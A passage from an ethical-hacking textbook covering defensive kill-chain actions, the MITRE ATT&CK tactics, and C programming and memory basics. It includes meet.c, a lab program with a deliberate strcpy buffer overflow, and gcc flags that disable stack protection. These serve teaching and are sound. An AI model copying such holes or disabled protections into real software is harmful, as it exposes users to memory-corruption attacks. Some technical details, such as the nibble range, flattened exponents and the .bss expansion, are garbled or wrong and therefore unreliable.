end of this defense is Zero Trust, which is becoming popular and, if properly deployed,
would greatly improve this method.
14
Disrupt
The act of disrupting the attacker involves increasing their cost, either through new
forms of antivirus or operating system updates that bring new forms of memory protec-
tion, such as Data Execution Prevention (DEP), address space layout randomization
(ASLR), and Stack Canaries. As the attacker evolves, we as defenders should evolve,
too. This is particularly important on external-facing systems, but we cannot stop there:
all systems and internal segments of the network should be considered vulnerable and
employ methods to disrupt the attacker, thus slowing them down and buying precious
time to detect them.
Degrade
To degrade an attacker means to limit their ability to be successful. For example, you may
throttle outbound data, over a certain threshold, to limit exfiltration. Further, you may
block all outbound traffic, except through approved and authenticated proxies, which
may buy you time as you detect those attempts, before the attacker figures it out and
then uses those proxies.
Deceive
To deceive the enemy is, again, as old as warfare itself. It is a basic element of cyber opera-
tions and is most effective for an attacker who has made it past all other defenses but
is lurking and poking around the internal network. The hope is that the attacker steps
on one of the digital mouse traps (that is, honeypots) you deployed for the purpose of
detecting that very act.
Destroy
Unless you happen to work for a nation-state-level cyber force, you probably won’t be
able to “hack back.” However, you may destroy an attacker’s foothold in your own net-
work when it’s discovered. A word of caution here: you will need to perform careful
planning and ensure that you pull the attacker out by the roots; otherwise, you may start
a dangerous game of hide-and-seek, this angering the attacker, who may be in your net-
work deeper than you originally think.
MITRE ATT&CK Framework

Now that you have a basic understanding of APTs and the Cyber Kill Chain, it is time
to discuss the MITRE ATT&CK framework. The MITRE ATT&CK framework goes
deeper than the Cyber Kill Chain and allows us to get to the underlying tactics, tech-
niques, and procedures (TTP) of the attacker, and thereby have a finer-grained approach
to thwarting the attacker at the TTP level. As stated by Katie Nickels, Threat Intelligence
Lead at MITRE,32 the framework is “a knowledgebase of adversary behavior.” The frame-
work is organized with tactics across the top, which you may notice contain some of the
Cyber Kill Chain steps, but many more. Then, the techniques are presented under each
tactic and have been truncated for brevity in the illustration shown here.
15
PART I
NOTE Although sample procedures are linked to sub-techniques, the ATT&CK
framework does not contain a comprehensive list of procedures, nor is it
intended to. See the site’s FAQ for more information.
Procedures show the variations of the techniques that APTs are known to use and
are linked to the techniques pages. For example, for the Spear Phishing Attachments
technique (T1566.001), the APT19 group is known to send RTF and XLSM formats to
deliver the initial exploits.
The framework is updated often, and new releases are provided. See the website for
the current list.33
Tactics
Table 1-1 provides the list of tactics in ATT&CK version 8 (current as of this writing).
As can be seen, the MITRE ATT&CK framework contains a mountain of useful
information that may be applied across the cybersecurity field. We will just highlight a
few uses.
Cyber Threat Intel

The MITRE ATT&CK framework may be used to describe attacker behavior in a com-
mon language and lexicon. By its nature, cyber threat intel has a short shelf life, so it is
critical to correctly and fully identify the activity (indicators) and then to share (dissemi-
nate) that information (intel) in a timely manner, so others may look for those indicators
in their own network. The framework allows that to happen, on a global scale. Thank-
fully, the framework has been incorporated into the Structured Threat Information
Expression (STIX) language and may be distributed on Trusted Automated Exchange of
Intelligence Information (TAXII) servers. This allows the framework data to be ingested
and used by machines, in real time.
16
Tactic Description
Reconnaissance Similar to the Cyber Kill Chain.
Resource Development Involves developing the infrastructure required for the attack,
including compromised accounts, development of capabilities,
and systems for launching attack.
Initial Access Similar to delivery phase of the Cyber Kill Chain; describes
techniques to gain initial access within a network.
Execution Similar to the exploitation phase of the Cyber Kill Chain; describes
techniques to get the initial exploit running.
Persistence Similar to the installation phase of the Cyber Kill Chain; describes
techniques to gain and retain persistence in network.
Privilege Escalation Describes the known techniques to be used by attackers to
escalate their privilege in a network.
Defense Evasion Describes the known techniques used for evasion. This tactic
has the deepest list of techniques, as attackers spend a lot of
effort evading.
Credential Access Describes techniques used to steal account names and passwords.
Discovery Describes those techniques used by attackers to discover sensitive
information and resources within the network. This phase and
the next one are particularly vulnerable to detection through
deception.
Lateral Movement Describes the techniques used by attackers to move across an
organization, attacking and gaining access to new systems, often
through previously obtained privileged access.
Collection Describes the techniques used by attackers to collect and stage
sensitive information.
Command and Control Similar to the C2 phase of the Cyber Kill Chain; describes those
techniques used to communicate between the attacker and
the malware.
Exfiltration Describes the techniques used by attackers to remove sensitive
information from the network. This may be a few files, but is often
gigabytes of information.
Impact Similar to the Actions on Objectives phase of the Cyber Kill
Chain; describes the techniques used by attackers to manipulate,
interrupt, or destroy systems and data.
Table 1-1 Tactics in the MITRE ATT&CK Framework
Cyber Threat Emulation

Once you know how the adversary acts, you can emulate their TTP and determine if (1)
your sensors are aligned properly and detecting what they should detect and (2) if your
incident monitoring capability is “awake” and if the response procedures are adequate.
For example, if you determine that APT28 is a threat to your organization, due to their
interest in your industry, then you may use the procedures identified for that APT and
17
run a controlled exercise to assess your organization’s ability to prevent, detect, and
withstand an attack from that APT. In this manner, cyber threat emulation (CTE)
PART I
is quite successful at gauging effectiveness and maintaining alertness of the defensive
security function.
One effective tool in this regard is Red Canary’s Atomic Red Team tool. We will
explore this tool in Chapter 9, but until then, see the “For Further Reading” section for
more information.
CAUTION Be sure to coordinate cyber threat exercises with your boss before
you do them. You have been warned! If you have a security operations center
(SOC), you may want to coordinate with the leader of that organization as
well, but it is recommended that the analysts not know the exercise is taking
place, as their response is part of the test.
Threat Hunting
Threat hunting is a new trend in the cybersecurity field. We will discuss it in detail
in Chapter 9, but at this point, it is useful to see the connection with the MITRE
ATT&CK framework. Using the framework, the threat hunter may select a set of APTs
in a similar manner to the CTE exercise, but in this case to develop multiple hypotheses
of attack. Then the threat hunter may fold in cyber threat intelligence, along with situ-
ational awareness of the network environment, to prove or disprove those hypotheses.
We have long known that the best defenders are attackers (that is, gray hat hackers). Now
we have a tool to methodically pursue attackers by using the knowledgebase contained in
the framework to systematically hunt them down post-breach.
Security Engineering
As a security engineer, you may develop a threat model based on the MITRE ATT&CK
framework. That threat model may be developed using the MITRE ATT&CK Naviga-
tor (refer to the “For Further Reading” section). The Navigator can be used to select a
particular set of APTs, which you may download as a spreadsheet. You may then use that
spreadsheet to perform a gap assessment, leveraging the results from the CTE exercise
and using colors for particular techniques to record your level of coverage in relation to
that APT. Finally, that threat model, with an associated coverage map, could be used to
design future controls to close those gaps.
Summary
This chapter provides you with an overview of the topic of gray hat hacking, which we
define as ethical hacking—using offense for defensive purposes. We started with some
background and history on the phrase. Then we covered the history of vulnerability
disclosure and how that is tied to ethical hacking. Finally, we shifted our focus to the
adversary, the black hat hacker, and learned how to discuss, describe, share, and hunt for
their activities using the MITRE ATT&CK framework.
18
For Further Reading
CISA Coordinated Vulnerability Disclosure Process (CVD) www.cisa.gov/coordinated-
vulnerability-disclosure-process
Red Canary Atomic Red Team github.com/redcanaryco/atomic-red-team
MITRE ATT&CK Navigator mitre-attack.github.io/attack-navigator/
Threat Hunting with MITRE ATT&CK www.threathunting.se/2020/05/24/threat-
detection-with-mitre-attck-and-atomic-redteam/
References
1. “The Black Hat Briefings USA 1997 Speakers,” https://www.blackhat.com/html/
bh-usa-97/speakers.html (accessed Feb. 28, 2021).
2. “Grey hat,” Wikipedia, Mar. 24, 2021, https://en.wikipedia.org/w/index
.php?title=Grey_hat&oldid=1014051749 (accessed Apr. 10, 2021).
3. “[ENG] White Hat ? Black Hat ? Grey Hat ?” https://www.ddth.com/showthread
.php/200-ENG-White-Hat-Black-Hat-Grey-Hat (accessed Feb. 28, 2021).
4. “Grey hat,” Wikipedia, op. cit.
5. Synopsys, “Coverity Scan Open Source Report Shows Commercial Code Is
More Compliant to Security Standards than Open Source Code,” Synopsys,
Jul. 29, 2015, https://news.synopsys.com/2015-07-29-Coverity-Scan-Open-
Source-Report-Shows-Commercial-Code-Is-More-Compliant-to-Security-
Standards-than-Open-Source-Code (accessed Jun. 17, 2017).
6. C. Woody, R. Ellison, and W. Nichols, “Predicting Software Assurance Using
Quality and Reliability Measures,” Softw. Eng. Inst., p. 59.
7. K. Zetter, “Three Minutes with Rain Forest Puppy | PCWorld,” PCWorld,
Jan. 5, 2012.
8. “Full disclosure (mailing list),” Wikipedia, Sep. 06, 2016, https://en.wikipedia
.org/w/index.php?title=Full_disclosure_(mailing_list).
9. B. Schneier, “Essays: Schneier: Full Disclosure of Security Vulnerabilities a ‘Damned
Good Idea’ – Schneier on Security,” Jan. 2007, https://www.schneier.com/essays/
archives/2007/01/schneier_full_disclo.html (accessed Jun. 17, 2017).
10. M. J. Ranum, “The Vulnerability Disclosure Game: Are We More Secure?”
CSO Online, Mar. 01, 2008, www.csoonline.com/article/2122977/application-
security/the-vulnerability-disclosure-game—are-we-more-secure-.html (accessed
Jun. 17, 2017).
11. Imperva, Inc., “Imperva | Press Release | Analysis of Web Site Penetration Retests
Show 93% of Applications Remain Vulnerable After ‘Fixes,’” Jun. 2004, https://
www.imperva.com/company/press_releases/analysis-of-web-site-penetration-retests-
show-93-of-applications-remain-vulnerable-after-fixes/ (accessed Jun. 17, 2017).
19
12. A. Sacco, “Microsoft: Responsible Vulnerability Disclosure Protects Users,”
CSO Online, Jan. 09, 2007, www.csoonline.com/article/2121631/build-ci-sdlc/
PART I
microsoft—responsible-vulnerability-disclosure-protects-users.html (accessed
Jun. 18, 2017).
13. Schneier, op. cit.
14. G. Keizer, “Drop ‘responsible’ from bug disclosures, Microsoft urges,”
Computerworld, Jul. 22, 2010, www.computerworld.com/article/2519499/
security0/drop—responsible—from-bug-disclosures—microsoft-urges.html
(accessed Jun. 18, 2017).
15. ibid.
16. “Project Zero (Google),” Wikipedia, May 2, 2017, https://en.wikipedia.org/w/
index.php?title=Project_Zero_(Google).
17. “CERT Coordination Center,” Wikipedia, May 30, 2017, https://en.wikipedia
.org/w/index.php?title=CERT_Coordination_Center.
18. CERT/CC, “Vulnerability Disclosure Policy | Vulnerability Analysis |
The CERT Division,” https://vuls.cert.org/confluence/display/Wiki/
Vulnerability+Disclosure+Policy (accessed Jun. 18, 2017).
19. D. Fisher, “No more free bugs for software vendors,” Threatpost | The first stop for
security news, Mar. 23, 2009, https://threatpost.com/no-more-free-bugs-software-
vendors-032309/72484/ (accessed Jun. 17, 2017).
20. P. Lindstrom, “No More Free Bugs | Spire Security Viewpoint,” Mar. 2009,
http://spiresecurity.com/?p=65 (accessed Jun. 17, 2017).
21. A. O’Donnell, “‘No more free bugs’? There never were any free bugs,” ZDNet,
Mar. 2009, www.zdnet.com/article/no-more-free-bugs-there-never-were-any-free-
bugs/ (accessed Jun. 17, 2017).
22. “Bug bounty program,” Wikipedia, Jun. 14, 2017, https://en.wikipedia.org/wiki/
Bug_bounty_program.
23. Mozilla Foundation, “Mozilla Foundation announces security bug bounty
program,” Mozilla Press Center, Aug. 2004, https://blog.mozilla.org/
press/2004/08/mozilla-foundation-announces-security-bug-bounty-program/
24. “Pwn2Own,” Wikipedia, Jun. 14, 2017, https://en.wikipedia.org/w/index
.php?title=Pwn2Own.
25. E. Friis-Jensen, “The History of Bug Bounty Programs,” Cobalt.io, Apr. 11,
2014, https://blog.cobalt.io/the-history-of-bug-bounty-programs-50def4dcaab3
26. T. Ring, “Why bug hunters are coming in from the wild,” Computer Fraud &
Security, vol. 2014, no. 2, pp. 16–20, Feb. 2014.
20
27. E. Mills, “Facebook hands out White Hat debit cards to hackers,” CNET, Dec.
2011, https://www.cnet.com/news/facebook-hands-out-white-hat-debit-cards-to-
hackers/ (accessed Jun. 24, 2017).
28. ibid.
29. S. Tzu, The art of war, Orange Publishing, 2013.
30. M. Santarcangelo, “Why you need to embrace the evolution of APT,” CSO Online,
May 27, 2014, https://www.csoonline.com/article/2158775/why-you-need-to-
embrace-the-evolution-of-apt.html (accessed Apr. 10, 2021).
31. E. M. Hutchins, M. J. Cloppert, and R. M. Amin, “Intelligence-Driven Computer
Network Defense Informed by Analysis of Adversary Campaigns and Intrusion
Kill Chains,” p. 14, 2011.
32. Sp4rkCon by Walmart, Putting MITRE ATT&CKTM into Action with What You
Have, Where You Are (presented by Katie Nickels), 2019.
33. “MITRE ATT&CK®,” https://attack.mitre.org/ (accessed Mar. 28, 2021).
Programming
Survival Skills
CHAPTER
2
• C programming language
• Computer memory
• Intel processors
• Assembly language basics
• Debugging with gdb
• Python survival skills
Why study programming? Ethical hackers should study programming and learn as much
about the subject as possible in order to find vulnerabilities in programs and get them
fixed before unethical hackers and black hats take advantage of them. Many security
professionals come at programming from a nontraditional perspective, often having no
programming experience prior to beginning their career. Bug hunting is very much a foot
race: if a vulnerability exists, who will find it first? The purpose of this chapter is to give
you the survival skills necessary to understand upcoming chapters and then later to find
the holes in software before the black hats do.
C Programming Language
The C programming language was developed in 1972 by Dennis Ritchie from AT&T
Bell Labs. The language was heavily used in Unix and is therefore ubiquitous. In fact,
many of the staple networking programs and operating systems, as well as large applica-
tions such as Microsoft Office Suite, Adobe Reader, and browsers, are written in combi-
nations of C, C++, Objective-C, assembly, and a couple of other lower-level languages.
Basic C Language Constructs

Although each C program is unique, some common structures can be found in most
programs. We’ll discuss these in the next few sections.
21
22
main()
All C programs “should” (see the “For Further Reading” section for an exception) con-
tain a main() function (lowercase) that follows the format
<optional return value type> main(<optional argument>) {
<optional procedure statements or function calls>;
}
where both the return value type and arguments are optional. If no return value type is
specified, a return type of int is used; however, some compilers may throw warnings if
you fail to specify its return value as int or attempt to use void. If you use command-line
arguments for main(), you could use the format
<optional return value type> main(int argc, char * argv[]){
(among others), where the argc integer holds the number of arguments and the argv array
holds the input arguments (strings). The name of the program is always stored at offset
argv[0]. The parentheses and brackets are mandatory. The brackets are used to denote the
beginning and end of a block of code. Although procedure and function calls are optional,
the program would do nothing without them. A procedure statement is simply a series of
commands that performs operations on data or variables and normally ends with a semicolon.
Functions
Functions are self-contained bundles of code that can be called for execution by main() or
other functions. They are nonpersistent and can be called as many times as needed, thus
preventing us from having to repeat the same code throughout a program. The format
is as follows:
<optional return value type> function name (<optional function argument>){
}
The function name and optional argument list comprise the signature. By looking
at it, you can tell if the function requires arguments that will be used in processing the
procedures of the function. Also notice the optional return value; this tells you if the
function returns a value after executing and, if so, what type of data that is.
The call to the function may look like this:
<optional variable to store the returned value> = function name (arguments
if called for by the function signature);
The following is a simple example:

#include <stdio.h>
#include <stdlib.h>
int foo(){➍
return 8;➐
}
int main(void){➌
int val_x;➎
val_x = foo();➏
printf("The value returned is: %d\n", val_x);➋➑
exit(0);➊
}
Chapter 2: Programming Survival Skills
23
Here, we are including the appropriate header files, which include the function dec-
larations for exit and printf. The exit ➊ function is defined in stdlib.h, and printf ➋
PART I
is defined in stdio.h. If you do not know what header files are required based on the
dynamically linked functions you are using in a program, you can simply look at the
manual entry, such as man sscanf, and refer to the synopsis at the top. We then define
the main ➌ function with a return value of int. We specify void ➍ in the arguments
location between the parentheses because we do not want to allow arguments passed to
the main function. We then create a variable called x with a data type of int ➎. Next, we
call the function foo ➏ and assign the return value to x. The foo function simply returns
the value 8 ➐. This value is then printed onto the screen using the printf function, using
the format string %d to treat x as a decimal value ➑.
Function calls modify the flow of a program. When a call to a function is made,
the execution of the program temporarily jumps to the function. After execution of
the called function has completed, control returns to the calling function at the virtual
memory address directly below the call instruction. This process will make more sense
during our discussion of stack operations in Chapter 10.
Variables
Variables are used in programs to store pieces of information that may change and may
be used to dynamically influence the program. Table 2-1 shows some common types
of variables.
When the program is compiled, most variables are pre-allocated memory of a fixed
size according to system-specific definitions of size. Sizes in Table 2-1 are considered
typical; there is no guarantee you will get those exact sizes. It is left up to the hardware
implementation to define the size. However, the function sizeof() is used in C to ensure
that the correct sizes are allocated by the compiler.
Variables are typically defined near the top of a block of code. As the compiler chews
up the code and builds a symbol table, it must be aware of a variable before that variable
is used in the code later. The word “symbol” is simply a name or identifier. This formal
declaration of variables is done in the following manner:
<variable type> <variable name> <optional initialization starting with "=">;
Variable Type Use Typical Size

int Stores a signed integer value such 8 bytes for 64-bit machines
as 314 or –314 4 bytes for 32-bit machines
2 bytes for 16-bit machines
float Stores a signed floating-point 4 bytes
number such as –3.234
double Stores a large floating-point 8 bytes
number
char Stores a single character such as “d” 1 byte
Table 2-1 Types of Variables
24
For example, in the line
int a = 0;
an integer (normally 4 bytes) is declared in memory with a symbol of a and an initial

value of 0.
Once a variable is declared, the assignment construct is used to change the value of the
variable. For example, the statement
x=x+1;
is an assignment statement that changes the value of the variable x. The new value of x is
the current value of x modified by the + operator. It is common to use the format
destination = source <with optional operators>
where destination is the location in which the final outcome is stored.
printf
The C language comes with many useful constructs bundled into the libc library. One
of many commonly used constructs is the printf command, generally used to print out-
put to the screen. There are two forms of the printf command:
printf(<string>);
printf(<format string>, <list of variables/values>);
The first format is straightforward and is used to display a simple string to the screen.
The second format allows for more flexibility through the use of a format type that can
be composed of normal characters and special symbols that act as placeholders for the
list of variables following the comma. Commonly used format symbols are listed and
described in Table 2-2.
These format types allow the programmer to indicate how they want data displayed to
the screen, written to a file, or other possibilities through the use of the printf family of
functions. As an example, say you know a variable to be a float and you want to ensure
that it is printed out as such, and you also want to limit its width, both before and after
the floating point. In this case, you could use the code in the following lab in Kali, where
we first change our shell to bash and then get the code from GitHub using git clone.
Table 2-2 Format Type Meaning Example

printf Format %n Print nothing printf("test %n");
Types
%d Decimal value printf("test %d", 123);
%s String value printf("test %s", "123");
%x Hex value printf("test %x", 0x123);
%f Float printf("test %f", 1.308);
25
Lab 2-1: Format Strings
PART I
In this lab, we download the code for all the labs in this chapter and then focus on format
strings, which will allow us to format the output of our program as we wish.
┌──(kali kali)-[~]
└─$ bash
└─$ git clone https://github.com/GrayHatHacking/GHHv6.git
Cloning into 'GHHv6'...
remote: Enumerating objects: 509, done.
remote: Total 509 (delta 0), reused 0 (delta 0), pack-reused 509
Receiving objects: 100% (509/509), 98.11 MiB | 21.29 MiB/s, done.
Resolving deltas: 100% (158/158), done.
Updating files: 100% (105/105), done.
└─$ ls
Desktop Downloads GHHv6 Pictures Templates
Documents gh6 Music Public Videos
└─$ cd GHHv6/ch02
┌──(kali kali)-[~/GHHv6/ch02]
Now, we can look at our code:

└─$ cat fmt_str.c
#include <stdio.h>
int main(void){
double x = 23.5644;
printf("The value of x is %5.2f\n", x);➊
printf("The value of x is %4.1f\n", x);➋
return 0;
}
In the first printf call ➊, we use a total width of 5, with 2 values after the floating
point. In the second call to printf ➋, we use a total width of 4, with 1 value after the
floating point.
Now, let’s compile it with gcc and run it:
┌──(kali kali)-[ ~/GHHv6/ch02]
└─$ gcc fmt_str.c -o fmt_str
┌──(kali kali)-[ ~/GHHv6/ch02]
└─$ ./fmt_str
The value of x is 23.56
The value of x is 23.6
NOTE The examples in this chapter use 2020.4 64-bit Kali Linux. If you are
using 32-bit Kali Linux, you may need to change your compiler options.
26
scanf
The scanf command complements the printf command and is generally used to get
input from the user. The format is
scanf(<format string>, <list of variables/values>);
where the format string can contain format symbols such as those shown for printf in
Table 2-2. For example, the following code will read an integer from the user and store
it in a variable called number:
scanf("%d", &number);
Actually, the & symbol means we are storing the value in the memory location
pointed to by number. This will make more sense when we talk about pointers later in
the chapter in the “Pointers” section. For now, realize that you must use the & symbol
before any variable name with scanf. The command is smart enough to change types on
the fly, so if you were to enter a character in the previous command prompt, the com-
mand would convert the character into the decimal (ASCII) value automatically. Bounds
checking is not done in regard to string size, however, which may lead to problems, as
discussed later in Chapter 10.
strcpy/strncpy
The strcpy command is one of the most dangerous functions used in C. The format of
the command is as follows:
strcpy(<destination>, <source>);
The purpose of the command is to copy each character in the source string (a series of
characters ending with a null character, \0) into the destination string. This is particularly
dangerous because there is no checking of the source’s size before it is copied over to the
destination. In reality, we are talking about overwriting memory locations here, which is
something that will be explained later in this chapter. Suffice it to say, when the source
is larger than the space allocated for the destination, overflow conditions are likely pres-
ent, which could result in the control of program execution. When used properly, a safer
alternative function is the strncpy command. Here is the format of that command:
strncpy(<destination>, <source>, <width>);
The <width> field is used to ensure that only a certain number of characters are cop-
ied from the source string to the destination string, allowing for greater control by the
programmer. The width parameter should be based on the size of the destination, such
as an allocated buffer. Another alternative function with the ability to control the size
and handle errors is snprintf. Overall, the C programming language’s handling of strings
has always been debated and highly scrutinized due to the requirement of the developer
to handle memory allocation.
27
CAUTION Using unbounded functions like strcpy is unsafe; however, many
PART I
traditional programming courses do not cover the dangers posed by these
functions in enough detail. In fact, if programmers would simply properly
use the safer alternatives, such as snprintf, then the entire class of buffer
overflow attacks would be less prevalent. Many programmers clearly
continue to use these dangerous functions because buffer overflows are
still commonly discovered. Legacy code containing bad functions is another
common problem. Luckily, most compilers and operating systems support
various exploit-mitigation protections that help to prevent exploitation of
these types of vulnerabilities. That said, even bounded functions can suffer
from incorrect buffer size calculations.
Lab 2-2: Loops
Loops are used in programming languages to iterate through a series of commands

multiple times. The two common types are for and while loops.
for loops start counting at a beginning value, test the value for some condition, execute
the statement, and increment the value for the next iteration. The format is as follows:
for(<beginning value>; <test value>; <change value>){
<statement>;
}
Therefore, a for loop like

for(i=0; i<10; i++){
printf("%d", i);
}
will print the numbers 0 to 9 on the same line (since \n is not used), like this: 0123456789.
With for loops, the condition is checked prior to the iteration of the statements in the
loop, so it is possible that even the first iteration will not be executed. When the condi-
tion is not met, the flow of the program continues after the loop.
NOTE It is important to note the use of the less-than operator (<) in place
of the less-than-or-equal-to operator (<=), which allows the loop to proceed
one more time until i=10. This is an important concept that can lead to off-
by-one errors. Also, note that the count started with 0. This is common in C
and worth getting used to.
The while loop is used to iterate through a series of statements until a condition is met.
A basic example follows:
└─$ cat while_ex.c
#include <stdio.h>
int main(void){
int x = 0;
28
while (x<10) {
printf("x = %d\n", x);
x++;
}
return 0;
}
└─$ gcc while_ex.c -o while_ex
└─$ ./while_ex
x = 0
x = 1
x = 2
x = 3
x = 4
x = 5
x = 6
x = 7
x = 8
x = 9
Loops may also be nested within each other.
Lab 2-3: if/else
The if/else construct is used to execute a series of statements if a certain condition is met;
otherwise, the optional else block of statements is executed. If there is no else block of
statements, the flow of the program will continue after the end of the closing if block
bracket (}). The following is an example of an if/else construct nested within a for loop:
└─$ cat ifelse.c
#include <stdio.h>
int main(void){
int x = 0;
while(1){➊
if (x == 0) {➋
printf("x = %d\n", x);
x++;
continue;
}
else {➌
printf("x != 0\n");
break;➍
}
return 0;
}
}
└─$ gcc ifelse.c -o ifelse
└─$ ./ifelse
x = 0
x ≠ 0
29
In this example, we use a while ➊ loop to loop through the if/else statements. Before
we go into the loop, we set the variable x to 0. Because x is equal to 0, we meet the condi-
PART I
tion in the if statement ➋. Then we call the printf function, increment x by 1, and then
continue. Since x is now 1, we don’t meet the condition for the if statement during the
second iteration through the loop. Therefore, we move on to the else statement ➌, which
calls the printf function and then breaks ➍ out of the loop. The braces may be omitted
for single statements.
Comments
To assist in the readability and sharing of source code, programmers include comments
in the code. You can use one of two ways to place comments in code: // or /* and */. The
// comment type indicates that any characters on the rest of that line are to be treated as
comments and not acted on by the computer when the program executes. The /* and */
pair starts and stops a block of comments that may span multiple lines. In this case, /*
is used to start the comment, and */ is used to indicate the end of the comment block.
Sample Programs
You are now ready to review your first program.
Lab 2-4: hello.c
We will start by showing the program with // comments included and will follow up with
a discussion of the program.
└─$ cat hello.c
// hello.c // customary comment of program name
#include <stdio.h> // needed for screen printing
int main(){ // required main function
printf("Hello haxor!\n"); // simply say hello
} // exit program
This very simple program prints “Hello haxor!” to the screen using the printf function,
included in the stdio.h library. Try to compile it, now that you know how, and run it!
Lab 2-5: meet.c
Now for something that’s a little more complex. This program will take input, store it,
then print it:
└─$ cat meet.c
// meet.c
#include <stdio.h> // needed for screen printing
#include <string.h> // needed for strcpy
30
void greeting(char *temp1,char *temp2){ ➋ // greeting function to say hello
char name[400]; // string variable to hold the name
strcpy(name, temp2); // copy argument to name with the infamous strcpy
printf("Hello %s %s\n", temp1, name); ➌ // print out the greeting
}
int main(int argc, char * argv[]){ ➊ // note the format for arguments
greeting(argv[1], argv[2]); ➋ // call function, pass title & name
printf("Bye %s %s\n", argv[1], argv[2]); ➍ // say "bye"
}➎ // exit program
This program takes two command-line arguments ➊ and calls the greeting() ➋ func-
tion, which prints “Hello” and the name given, followed by a carriage return ➌. When
the greeting() function finishes, control is returned to main(), which prints out “Bye”
and the name given ➍. Finally, the program exits ➎.
Compiling with gcc

Compiling is the process of turning human-readable source code into machine-readable
binary files that can be digested by the computer and executed. More specifically, a
compiler takes source code and translates it into an intermediate set of files called object
code. These files are nearly ready to execute but may contain unresolved references to
symbols and functions not included in the original source code file. These symbols
and references are resolved through a process called linking, as each object file is linked
together into an executable binary file. We have simplified the process for you here, but
these are the main steps.
When programming with C on Unix systems, most programmers prefer to use the
GNU C Compiler (gcc). gcc offers plenty of options when compiling. The most com-
monly used flags are listed and described in Table 2-3.
Option Description
–o <filename> Saves the compiled binary with this name. The default is to
save the output as a.out.
–S Produces a file containing assembly instructions; saved with
an .s extension.
–ggdb Produces extra debugging information; useful when using
the GNU debugger (gdb).
–c Compiles without linking; produces object files with
an .o extension.
–mpreferred-stack-boundary=2 Compiles the program using a DWORD size stack, simplifying
the debugging process while you learn.
–fno-stack-protector Disables the stack protection; introduced with GCC 4.1. This
option is useful when you’re learning about buffer overflows,
as you will in Chapter 11.
–z execstack Enables an executable stack. This option is useful when you’re
learning about buffer overflows, as you will in Chapter 11.
Table 2-3 Commonly Used gcc Flags
31
Lab 2-6: Compiling meet.c
PART I
To compile our meet.c program, you would type the following in Kali 2020.4 64-bit:
└─$ gcc -o meet meet.c
Then, to execute the new program, you type

└─$ ./meet Leet Haxor
Hello 1337 Haxor
Bye 1337 Haxor
$
You will use various compiler options to compile programs in this book and beyond;
see the “For Further Reading” section for more information on using gcc.
Computer Memory
In the simplest terms, computer memory is an electronic mechanism that has the ability
to store and retrieve data. The smallest amount of data that can be stored is 1 bit, which
can be represented by either a 1 or a 0 in memory. When you put 4 bits together, it is
called a nibble, which can represent values from 0000 to –1111. There are exactly
16 binary values, ranging from 0 to 15, in decimal format. When you put two nibbles,
or 8 bits, together, you get a byte, which can represent values from 0 to (28 – 1), or 0 to
255 in decimal. When you put 2 bytes together, you get a word, which can represent
values from 0 to (216 – 1), or 0 to 65,535 in decimal. Continuing to piece data together,
if you put two words together, you get a double word, or DWORD, which can represent
values from 0 to (232 – 1), or 0 to 4,294,967,295 in decimal. Two DWORDs together
is a quadruple word, or QWORD, which can represent values from 0 to (264 – 1), or 0
to 18,446,744,073,709,551,615 in decimal. In terms of memory addressing on 64-bit
AMD and Intel processors, only the lower 48 bits are used, which offers 256 terabytes of
addressable memory. This is well documented in countless online resources.
There are many types of computer memory; we will focus on random access memory
(RAM) and registers. Registers are special forms of memory embedded within processors,
which will be discussed later in this chapter in the “Registers” section.
Random Access Memory

In RAM, any piece of stored data can be retrieved at any time—thus, the term random
access. However, RAM is volatile, meaning that when the computer is turned off, all
data is lost from RAM. When we’re discussing modern Intel- and AMD-based prod-
ucts (x86 and x64), the memory is 32-bit or 48-bit addressable, respectively, meaning
that the address bus the processor uses to select a particular memory address is 32 or
48 bits wide. Therefore, the most memory that can be addressed in an x86 processor is
4,294,967,295 bytes or 281,474,976,710,655 bytes (256 terabytes). On an x64 64-bit
32
processor, addressing can be expanded in the future by adding more transistors, but 248
is plenty for current systems.
Endian
In Internet Experiment Note (IEN) 137, “On Holy Wars and a Plea for Peace,” from
1980, Danny Cohen summarized Swift’s Gulliver’s Travels, in part, as follows in his dis-
cussion of byte order:
Gulliver finds out that there is a law, proclaimed by the grandfather of the present
ruler, requiring all citizens of Lilliput to break their eggs only at the little ends.
Of course, all those citizens who broke their eggs at the big ends were angered
by the proclamation. Civil war broke out between the Little-Endians and the
Big-Endians, resulting in the Big-Endians taking refuge on a nearby island, the
kingdom of Blefuscu.1
The point of Cohen’s paper was to describe the two schools of thought when writ-
ing data into memory. Some feel that the low-order bytes should be written first (called
“Little-Endians” by Cohen), whereas others think the high-order bytes should be writ-
ten first (called “Big-Endians”). The difference really depends on the hardware you
are using. For example, Intel-based processors use the little-endian method, whereas
Motorola-based processors use big-endian.
Segmentation of Memory
The subject of segmentation could easily consume a chapter itself. However, the basic con-
cept is simple. Each process (oversimplified as an executing program) needs to have access
to its own areas in memory. After all, you would not want one process overwriting another
process’s data. Therefore, memory is broken down into small segments and handed out
to processes as needed. Registers, discussed later in the chapter, are used to store and keep
track of the current segments a process maintains. Offset registers are used to keep track
of where in the segment the critical pieces of data are kept. Segmentation also describes
the memory layout within a process’s virtual address space. Segments such as the code seg-
ment, data segment, and stack segment are intentionally allocated in different regions of
the virtual address space within a process to prevent collisions and to allow for the ability
to set permissions accordingly. Each running process gets its own virtual address space, and
the amount of space depends on the architecture (such as 32-bit or 64-bit), system settings,
and the OS. A basic 32-bit Windows process by default gets 4GB, where 2GB is assigned
to the user-mode side of the process and 2GB is assigned to the kernel-mode side of the
process. Only a small portion of this virtual space within each process is mapped to physical
memory, and depending on the architecture, there are various ways of performing virtual-
to-physical memory mapping through the use of paging and address translation.
Programs in Memory
When processes are loaded into memory, they are basically broken into many small
sections. We are only concerned with six main sections, which we discuss in the
following subsections.
33
.text Section
The .text section, also known as the code segment, basically corresponds to the .text por-
PART I
tion of the binary executable file. It contains the machine instructions to get the task
done. This section is marked as readable and executable and will cause an access violation
if a write attempt is made. The size is fixed at runtime when the process is first loaded.
.data Section
The .data section is used to store global initialized variables, such as
int a = 0;
The size of this section is fixed at runtime. It should only be marked as readable.
.bss Section
The below stack section (.bss) is used to store certain types of global uninitialized variables,
such as
int a;
The size of this section is fixed at runtime. This segment needs to be readable and writ-
able but should not be executable.
Heap Section
The heap section is used to store dynamically allocated variables and grows from the
lower-addressed memory to the higher-addressed memory. The allocation of memory is
controlled through the malloc(), realloc(), and free() functions. For example, to declare
an integer and have the memory allocated at runtime, you would use something like this:
int i = malloc (sizeof (int)); // dynamically allocates an integer, contains
// the preexisting value of that memory
The heap section should be readable and writable but should not be executable because
an attacker who gains control of a process could easily perform shellcode execution in
regions such as the stack and heap.
Stack Section
The stack section is used to keep track of function calls (recursively) and grows from
